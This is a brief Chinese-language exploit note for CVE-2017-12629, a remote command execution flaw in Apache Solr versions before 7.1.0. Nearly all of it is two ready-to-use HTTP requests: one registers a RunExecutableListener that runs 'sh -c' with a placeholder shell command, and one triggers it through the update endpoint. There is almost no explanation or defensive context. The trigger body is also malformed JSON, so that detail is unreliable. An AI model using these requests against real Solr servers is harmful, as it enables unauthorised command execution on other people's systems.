【笔记】CVE-2017-12629漏洞利用

前言

Java的Solr框架远程命令执行漏洞利用
Solr默认端口号为8983

漏洞利用前提

• Apache Solr < 7.1.0

exp

request

POST http://example.com/solr/admin/config
Content-Type: application/json

{"add-listener":{"event":"postCommit","name":"x","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","<shell>"]}

触发

request

POST http://example.com/solr/admin/update
Content-Type: application/json

[{"x","x"}]

完成